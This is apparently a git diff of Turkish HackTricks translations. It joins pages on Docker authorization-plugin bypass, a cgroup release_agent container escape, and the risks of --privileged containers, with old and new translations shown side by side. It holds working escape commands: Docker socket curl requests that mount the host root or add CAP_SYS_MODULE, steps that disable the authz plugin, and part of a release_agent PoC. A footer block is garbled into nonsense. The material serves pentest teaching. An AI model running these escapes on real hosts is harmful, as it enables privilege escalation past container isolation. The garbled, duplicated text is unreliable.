## Kontrol Edilmeyen API Uç Noktası
## Kontrolsüz API Uç Noktası
Bu eklentiyi yapılandıran sistem yöneticisinin sorumluluğu, her kullanıcının hangi eylemleri ve hangi ayrıcalıklarla gerçekleştirebileceğini kontrol etmektir. Bu nedenle, yönetici uç noktaları ve özniteliklerle **kara liste** yaklaşımı benimserse, bazılarını **unutabilir** ve bu da saldırganın ayrıcalıkları yükseltmesine izin verebilir.
Bu eklentiyi yapılandıran sistem yöneticisinin sorumluluğu, her kullanıcının hangi eylemleri ve hangi ayrıcalıklarla gerçekleştirebileceğini kontrol etmektir. Bu nedenle, eğer yönetici uç noktalar ve nitelikler ile ilgili bir **kara liste** yaklaşımı benimserse, bir saldırganın **ayrıcalıkları artırmasına** izin verebilecek bazılarını **unutabilir.**
Docker API'sini [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) adresinden kontrol edebilirsiniz.
Docker API'sini [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) adresinde kontrol edebilirsiniz.
## Kontrol Edilmeyen JSON Yapısı
## Kontrolsüz JSON Yapısı
### Root'ta Bağlamalar
### Kökte Bağlantılar
Sistem yöneticisi docker güvenlik duvarını yapılandırırken [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) gibi önemli bir parametreyi "**Binds**" unutmuş olabilir.\
Aşağıdaki örnekte, bu yapılandırma hatasını kötüye kullanarak ana bilgisayarın root (/) klasörünü bağlayan bir konteyner oluşturup çalıştırmak mümkündür:
Sistem yöneticisi docker güvenlik duvarını yapılandırırken [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) gibi bazı önemli parametreleri "**Binds**" unuttuğu için bu yanlış yapılandırmayı kötüye kullanarak host'un kök (/) klasörünü bağlayan ve çalıştıran bir konteyner oluşturmak mümkündür:
```bash
docker version #First, find the API version of docker, 1.40 in this example
docker images #List the images available
@ -132,30 +136,30 @@ docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
#You can access the host filesystem
```
{% hint style="warning" %}
Bu örnekte JSON'da **`Binds`** parametresini kök düzey bir anahtar olarak kullanıyoruz, ancak API'de **`HostConfig`** anahtarı altında görünüyor.
Bu örnekte **`Binds`** parametresini JSON'da kök düzey anahtar olarak kullandığımıza dikkat edin, ancak API'de **`HostConfig`** anahtarı altında görünmektedir.
{% endhint %}
### HostConfig'da Binds
### HostConfig'deki Binds
**Kök düzeydeki Binds** ile aynı talimatları izleyerek Docker API'sine bu **istemi** gerçekleştirin:
**Kökteki Binds** ile aynı talimatları izleyerek bu **isteği** Docker API'sine gerçekleştirin:
```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create
```
### Root'ta Mountlar
### Mounts in root
**Root'ta Bağlantılar** ile aynı talimatları izleyin ve Docker API'sine bu **istemi** gerçekleştirin:
**Binds in root** ile aynı talimatları izleyerek bu **isteği** Docker API'sine gerçekleştirin:
```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create
```
### HostConfig'da Mountlar
### Mounts in HostConfig
Docker API'ye bu **istemi** gerçekleştirerek **root'ta Bağlantılar** ile aynı talimatları izleyin:
**Kökte Binds** ile aynı talimatları izleyerek bu **isteği** Docker API'sine gerçekleştirin:
```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre
```
## Kontrol Edilmemiş JSON Özniteliği
## Unchecked JSON Attribute
Sistem yöneticisi docker güvenlik duvarını yapılandırırken, [API](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) içindeki "**Capabilities**" özelliği gibi bir parametrenin önemli bir özniteliğini **unutmuş olabilir**. Aşağıdaki örnekte, bu yanlış yapılandırmayı istismar ederek **SYS\_MODULE** yeteneğine sahip bir konteyner oluşturup çalıştırmak mümkündür:
Sysadmin docker güvenlik duvarını yapılandırırken, [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) içindeki "**HostConfig**" parametresinin "**Capabilities**" gibi bazı önemli özelliklerini **unutmuş olabilir**. Aşağıdaki örnekte, bu yanlış yapılandırmayı kullanarak **SYS\_MODULE** yetkisine sahip bir konteyner oluşturmak ve çalıştırmak mümkündür:
```bash
docker version
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
@ -166,12 +170,12 @@ capsh --print
#You can abuse the SYS_MODULE capability
```
{% hint style="info" %}
**`HostConfig`**, genellikle konteynerden kaçmak için ilginç **yetkilere** sahip olan anahtar. Ancak, daha önce tartıştığımız gibi, dışında Binds kullanmanın da çalıştığını ve kısıtlamaları atlamak için izin verebileceğini unutmayın.
**`HostConfig`**, genellikle konteynerden kaçmak için **ilginç** **yetkileri** içeren anahtardır. Ancak, daha önce tartıştığımız gibi, bunun dışındaki Binds kullanımının da işe yaradığını ve kısıtlamaları aşmanıza izin verebileceğini unutmayın.
{% endhint %}
## Eklentinin Devre Dışı Bırakılması
## Eklentiyi Devre Dışı Bırakma
Eğer **sistem yöneticisi**, **eklentiyi devre dışı bırakma** yeteneğini **yasaklamayı unutmuşsa**, bunu tamamen devre dışı bırakmak için bundan faydalanabilirsiniz!
Eğer **sistem yöneticisi**, **eklentiyi** **devre dışı bırakma** yetkisini **yasaklamayı** **unutmuşsa**, bunu tamamen devre dışı bırakmak için kullanabilirsiniz!
```bash
docker plugin list #Enumerate plugins
@ -183,27 +187,32 @@ docker plugin disable authobot
docker run --rm -it --privileged -v /:/host ubuntu bash
docker plugin enable authobot
```
**Yükseltme işleminden sonra eklentiyi yeniden etkinleştirmeyi unutmayın**, aksi takdirde docker servisinin yeniden başlatılması çalışmayacaktır!
Remember to **re-enable the plugin after escalating**, or a **restart of docker service wont work**!
## Auth Plugin Bypass yazıları
## Auth Plugin Bypass writeups
* [https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/](https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/)
## Referanslar
## References
{% hnt stye="acceas" %}
AWS Ha& practice ckinH:<img :<imgsscc="/.gitb=ok/assgts/aite.png"balo=""kdata-siza="line">[**HackTsscke Tpaigin"aAWS Red Tetm=Exp rt (ARTE)**](a-size="line">[**HackTricks Training AWS Red)ethgasic="..giyb/okseasert/k/.png"l=""data-ize="line">\
Learn & aciceGCP ng<imgsrc="/.gibok/asts/gte.g"lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"salm=""adara-siz>="k>ne">tinhaktckxyzurssgr)
* [https://docs.docker.com/engine/extend/plugins\_authorization/](https://docs.docker.com/engine/extend/plugins\_authorization/)
<dtil>
<ummr>SupportHackTricks</smmay>
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
*Chek th [**subsrippangithub.cm/sorsarlosp!
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!haktick\_ive\
* **Join 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,39 +1,40 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
Daha fazla ayrıntı için **[https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)** adresindeki blog yazısını kontrol edin. İşte sadece bir özet:
Daha fazla ayrıntı için **[https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)** blog gönderisini kontrol edin. Bu sadece bir özet:
Teknik, **bir konteyner içinden ana bilgisayarda kod çalıştırmak** için bir yöntem açıklar. Bu yöntem, konteynerin dosya sistemi yolunu bulmayı zorlaştıran depolama sürücüsü yapılandırmalarını (Kata Containers veya belirli `devicemapper` ayarları gibi) aşar.
Teknik, **bir konteyner içinden ana makine kodunu çalıştırma** yöntemini özetlemektedir ve Kata Containers veya belirli `devicemapper` ayarları gibi konteynerin dosya sistemi yolunu ana makinede gizleyen depolama sürücüsü yapılandırmalarının getirdiği zorlukları aşmaktadır.
Ana adımlar:
1. **İşlem Kimliklerini (PID'leri) Bulma:** Linux sahte dosya sistemindeki `/proc/<pid>/root` sembolik bağlantısını kullanarak, konteyner içindeki herhangi bir dosya ana bilgisayarın dosya sistemiyle ilişkilendirilebilir. Bu, konteynerin ana bilgisayardaki dosya sistemi yolunu bilmek gereksinimini ortadan kaldırır.
2. **PID Saldırısı:** Ana bilgisayardaki PID'leri aramak için kaba kuvvet yöntemi kullanılır. Bu, sırasıyla `/proc/<pid>/root/<dosya>` konumunda belirli bir dosyanın varlığını kontrol ederek yapılır. Dosya bulunduğunda, ilgili PID'nin hedef konteyner içinde çalışan bir işleme ait olduğunu gösterir.
3. **Çalıştırmayı Tetikleme:** Tahmin edilen PID yolunu `cgroups release_agent` dosyasına yazmak. Bu eylem, `release_agent`'ın çalıştırılmasını tetikler. Bu adımın başarılı olduğu, bir çıktı dosyasının oluşturulup oluşturulmadığı kontrol edilerek doğrulanır.
1. **İşlem Kimliklerini (PID) Bulma:** Linux sahte dosya sistemindeki `/proc/<pid>/root` sembolik bağlantısını kullanarak, konteyner içindeki herhangi bir dosyaya ana makinenin dosya sistemi ile ilgili olarak erişilebilir. Bu, konteynerin dosya sistemi yolunu ana makinede bilme gereğini ortadan kaldırır.
2. **PID Kırma:** Ana makinedeki PID'leri aramak için bir kaba kuvvet yaklaşımı kullanılır. Bu, `/proc/<pid>/root/<file>` yolunda belirli bir dosyanın varlığını sırayla kontrol ederek yapılır. Dosya bulunduğunda, ilgili PID'nin hedef konteyner içinde çalışan bir işleme ait olduğunu gösterir.
3. **Çalıştırmayı Tetikleme:** Tahmin edilen PID yolu `cgroups release_agent` dosyasına yazılır. Bu işlem, `release_agent`'in çalıştırılmasını tetikler. Bu adımın başarısı, bir çıktı dosyasının oluşturulup oluşturulmadığını kontrol ederek doğrulanır.
### Saldırı Süreci
### Sömürü Süreci
Saldırı süreci, konteyner içinde çalışan bir işlemin doğru PID'sini tahmin ederek ana bilgisayarda bir yük çalıştırmayı amaçlayan daha ayrıntılı bir dizi eylemi içerir. İşte nasıl gerçekleşir:
Sömürü süreci, konteyner içinde çalışan bir işlemin doğru PID'sini tahmin ederek ana makinede bir yük çalıştırmayı amaçlayan daha ayrıntılı bir eylem setini içerir. İşte nasıl gelişir:
1. **Ortamı Başlatma:** Ana bilgisayarda bir yük betiği (`payload.sh`) hazırlanır ve cgroup manipülasyonu için benzersiz bir dizin oluşturulur.
2. **Yükü Hazırlama:** Ana bilgisayarda çalıştırılacak komutları içeren yük betiği yazılır ve çalıştırılabilir hale getirilir.
3. **Cgroup Ayarları:** Cgroup bağlanır ve yapılandırılır. `notify_on_release` bayrağı, cgroup serbest bırakıldığında yükün çalıştırılmasını sağlamak için ayarlanır.
4. **PID Kaba Kuvveti:** Bir döngü, potansiyel PID'ler arasında dolaşarak her tahmin edilen PID'yi `release_agent` dosyasına yazar. Bu, etkili bir şekilde yük betiğini `release_agent` olarak ayarlar.
5. **Tetikleme ve Çalışmanın Kontrolü:** Her PID için, yük betiğinin çıktısı bulunana kadar cgroup'ın `cgroup.procs`'una yazılır. Bu, PID'nin doğru olduğunda `release_agent`'ın çalıştırılmasını tetikler. Döngü, yük betiğinin çıktısı bulunana kadar devam eder, bu da başarılı bir şekilde çalıştırıldığını gösterir.
1. **Ortamı Başlat:** Ana makinede bir yük betiği (`payload.sh`) hazırlanır ve cgroup manipülasyonu için benzersiz bir dizin oluşturulur.
2. **Yükü Hazırla:** Ana makinede çalıştırılacak komutları içeren yük betiği yazılır ve çalıştırılabilir hale getirilir.
3. **Cgroup'u Kur:** Cgroup monte edilir ve yapılandırılır. Yükün cgroup serbest bırakıldığında çalıştırılmasını sağlamak için `notify_on_release` bayrağı ayarlanır.
4. **PID'yi Kaba Kuvvetle Kır:** Bir döngü, potansiyel PID'ler arasında döner ve her tahmin edilen PID'yi `release_agent` dosyasına yazar. Bu, yük betiğini `release_agent` olarak ayarlar.
5. **Çalıştırmayı Tetikle ve Kontrol Et:** Her PID için, cgroup'un `cgroup.procs` dosyasına yazılır, eğer PID doğruysa `release_agent`'in çalıştırılmasını tetikler. Döngü, yük betiğinin çıktısı bulunana kadar devam eder, bu da başarılı bir çalıştırmayı gösterir.
Blog yazısından PoC:
Blog gönderisinden PoC:
```bash
#!/bin/sh
@ -93,16 +94,19 @@ sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,27 +1,30 @@
# Docker --privileged
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)'u **takip edin**.
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Etkileyenler
## Ne Etkiler
Bir ayrıcalıklı konteyner çalıştırdığınızda devre dışı bıraktığınız korumalar şunlardır:
Bir konteyneri yetkili olarak çalıştırdığınızda devre dışı bıraktığınız korumalar şunlardır:
### /dev'i bağlama
### Mount /dev
Ayrıcalıklı bir konteynerde, **tüm cihazlara `/dev/` üzerinden erişilebilir**. Bu nedenle, ana bilgisayarın diski **bağlayarak** kaçabilirsiniz.
Yetkili bir konteynerde, tüm **cihazlar `/dev/` içinde erişilebilir**. Bu nedenle, **diskin** ana makineye **mount edilmesiyle** **kaçabilirsiniz**.
{% tabs %}
{% tab title="undefined" %}
{% tab title="Varsayılan konteyner içinde" %}
```bash
# docker run --rm -it alpine sh
ls /dev
@ -30,7 +33,7 @@ core full null pts shm stdin tty zero
```
{% endtab %}
{% tab title="Ayrıcalıklı Konteyner İçinde" %}
{% tab title="Yetkili Konteynerin İçinde" %}
```bash
# docker run --rm --privileged -it alpine sh
ls /dev
@ -43,10 +46,12 @@ cpu nbd0 pts stdout tty27
{% endtab %}
{% endtabs %}
### Salt Okunur Çekirdek Dosya Sistemleri
### Sadece okunur çekirdek dosya sistemleri
Çekirdek dosya sistemleri, bir işlemin çekirdeğin davranışını değiştirmesini sağlayan bir mekanizma sağlar. Bununla birlikte, konteyner işlemleri için, çekirdeğe herhangi bir değişiklik yapmalarını önlemek istiyoruz. Bu nedenle, konteyner içindeki çekirdek dosya sistemlerini **salt okunur** olarak bağlarız, böylece konteyner işlemleri çekirdeği değiştiremez.
Çekirdek dosya sistemleri, bir sürecin çekirdeğin davranışını değiştirmesi için bir mekanizma sağlar. Ancak, konteyner süreçleri söz konusu olduğunda, onların çekirdekte herhangi bir değişiklik yapmalarını önlemek istiyoruz. Bu nedenle, çekirdek dosya sistemlerini konteyner içinde **sadece okunur** olarak monte ediyoruz, böylece konteyner süreçleri çekirdeği değiştiremez.
{% tabs %}
{% tab title="Varsayılan konteyner içinde" %}
```bash
# docker run --rm -it alpine sh
mount | grep '(ro'
@ -55,22 +60,26 @@ cpuset on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpu
cpu on /sys/fs/cgroup/cpu type cgroup (ro,nosuid,nodev,noexec,relatime,cpu)
cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpuacct)
```
{% endtab %}
{% tab title="Yetkili Konteynerin İçinde" %}
```bash
# docker run --rm --privileged -it alpine sh
mount | grep '(ro'
```
{% endtab %}
{% endtabs %}
### Çekirdek dosya sistemlerinin üzerine maskeleme
### Kernel dosya sistemlerini maskeleme
**/proc** dosya sistemi seçici olarak yazılabilir olmasına rağmen, güvenlik için belirli bölümler **tmpfs** ile üzerlerine örtülerek yazma ve okuma erişiminden korunur, böylece konteyner işlemleri hassas alanlara erişemez.
**/proc** dosya sistemi seçici olarak yazılabilir, ancak güvenlik için, belirli kısımlar **tmpfs** ile örtülerek yazma ve okuma erişiminden korunur, böylece konteyner süreçleri hassas alanlara erişemez.
{% hint style="info" %}
**tmpfs**, tüm dosyaları sanal bellekte depolayan bir dosya sistemidir. tmpfs, sabit diskinizde herhangi bir dosya oluşturmaz. Bu nedenle, bir tmpfs dosya sistemini ayrıldığınızda, içinde bulunan tüm dosyalar sonsuza dek kaybolur.
**tmpfs**, tüm dosyaları sanal bellekte depolayan bir dosya sistemidir. tmpfs, sabit diskinizde herhangi bir dosya oluşturmaz. Bu nedenle, bir tmpfs dosya sistemini ayırırsanız, içinde bulunan tüm dosyalar sonsuza dek kaybolur.
{% endhint %}
{% tabs %}
{% tab title="undefined" %}
{% tab title="Varsayılan konteyner içinde" %}
```bash
# docker run --rm -it alpine sh
mount | grep /proc.*tmpfs
@ -80,7 +89,7 @@ tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
```
{% endtab %}
{% tab title="Ayrıcalıklı Konteyner İçinde" %}
{% tab title="Yetkili Konteynerin İçinde" %}
```bash
# docker run --rm --privileged -it alpine sh
mount | grep /proc.*tmpfs
@ -90,14 +99,14 @@ mount | grep /proc.*tmpfs
### Linux yetenekleri
Konteyner motorları, konteynerleri varsayılan olarak içeride ne olduğunu kontrol etmek için sınırlı sayıda yetenekle başlatır. Ayrıcalıklı olanlar **tüm yeteneklere** erişebilir. Yetenekler hakkında bilgi edinmek için okuyun:
Konteyner motorları, konteynerin içinde neler olacağını kontrol etmek için konteynerleri **sınırlı sayıda yetenekle** başlatır. **Ayrıcalıklı** olanlar **tüm** **yeteneklere** erişime sahiptir. Yetenekler hakkında bilgi edinmek için okuyun:
{% content-ref url="../linux-capabilities.md" %}
[linux-capabilities.md](../linux-capabilities.md)
{% endcontent-ref %}
{% tabs %}
{% tab title="undefined" %}
{% tab title="Varsayılan konteyner içinde" %}
```bash
# docker run --rm -it alpine sh
apk add -U libcap; capsh --print
@ -108,7 +117,7 @@ Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setg
```
{% endtab %}
{% tab title="Ayrıcalıklı Konteyner İçinde" %}
{% tab title="Yetkili Konteynerin İçinde" %}
```bash
# docker run --rm --privileged -it alpine sh
apk add -U libcap; capsh --print
@ -120,87 +129,68 @@ Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fset
{% endtab %}
{% endtabs %}
`--cap-add` allows you to add specific capabilities to a container, while `--cap-drop` allows you to drop specific capabilities. Here are some commonly used capabilities:
Bir konteyner için mevcut yetenekleri `--privileged` modunda çalışmadan `--cap-add` ve `--cap-drop` bayraklarını kullanarak manipüle edebilirsiniz.
* `SYS_ADMIN`: Allows various system administration tasks.
* `SYS_PTRACE`: Allows tracing and debugging of processes.
* `NET_ADMIN`: Allows network administration tasks.
* `SYS_MODULE`: Allows loading and unloading kernel modules.
* `SYS_RAWIO`: Allows direct access to raw I/O ports.
### Seccomp
To add or drop capabilities, use the following syntax:
**Seccomp**, bir konteynerin çağırabileceği **syscall'ları** **sınırlamak** için faydalıdır. Docker konteynerleri çalıştırıldığında varsayılan bir seccomp profili etkinleştirilir, ancak ayrıcalıklı modda devre dışı bırakılır. Seccomp hakkında daha fazla bilgi edinin:
```bash
docker run --cap-add=<capability> <image>
docker run --cap-drop=<capability> <image>
```
For example, to add the `SYS_ADMIN` capability to a container:
```bash
docker run --cap-add=SYS_ADMIN <image>
```
To drop the `SYS_PTRACE` capability from a container:
```bash
docker run --cap-drop=SYS_PTRACE <image>
```
By manipulating the capabilities of a container, you can fine-tune its permissions and restrict its access to certain system resources. This can help improve the security of your Docker environment.
{% content-ref url="seccomp.md" %}
[seccomp.md](seccomp.md)
{% endcontent-ref %}
{% tabs %}
{% tab title="Inside default container" %}
```bash
# docker run --rm -it alpine sh
grep Seccomp /proc/1/status
Seccomp: 2
Seccomp_filters: 1
```
{% endtab %}
{% tab title="Yetkili Konteynerin İçinde" %}
```bash
# docker run --rm --privileged -it alpine sh
grep Seccomp /proc/1/status
Seccomp: 0
Seccomp_filters: 0
```
{% endtab %}
{% endtabs %}
```bash
# You can manually disable seccomp in docker with
--security-opt seccomp=unconfined
```
Ayrıca, Docker (veya diğer CRIs) bir Kubernetes kümesinde kullanıldığında, seccomp filtresi varsayılan olarak devre dışı bırakılır.
Ayrıca, **Kubernetes** kümesinde Docker (veya diğer CRI'ler) kullanıldığında, **seccomp filtresi varsayılan olarak devre dışıdır.**
### AppArmor
**AppArmor**, konteynerleri **sınırlı** bir dizi **kaynak** ile **program bazlı profiller** ile sınırlayan bir çekirdek geliştirmesidir. `--privileged` bayrağıyla çalıştırdığınızda, bu koruma devre dışı bırakılır.
**AppArmor**, **kapsayıcıları** **sınırlı** bir **kaynak** setine **per-program profilleri** ile sınırlamak için bir çekirdek geliştirmesidir. `--privileged` bayrağı ile çalıştığınızda, bu koruma devre dışı bırakılır.
{% content-ref url="apparmor.md" %}
[apparmor.md](apparmor.md)
{% endcontent-ref %}
```bash
# You can manually disable seccomp in docker with
--security-opt apparmor=unconfined
```
### SELinux
`--privileged` bayrağıyla bir konteyner çalıştırmak, **SELinux etiketlerini devre dışı bırakır** ve genellikle `unconfined` olan konteyner motorunun etiketini devralarak tam erişim sağlar. Köksüz modda `container_runtime_t` kullanılırken, kök modunda `spc_t` uygulanır.
`--privileged` bayrağı ile bir konteyner çalıştırmak **SELinux etiketlerini** devre dışı bırakır ve konteyner motorunun etiketini, genellikle `unconfined`, miras almasına neden olur; bu da konteyner motoruna benzer şekilde tam erişim sağlar. Rootless modda `container_runtime_t` kullanılırken, root modda `spc_t` uygulanır.
{% content-ref url="../selinux.md" %}
[selinux.md](../selinux.md)
{% endcontent-ref %}
```bash
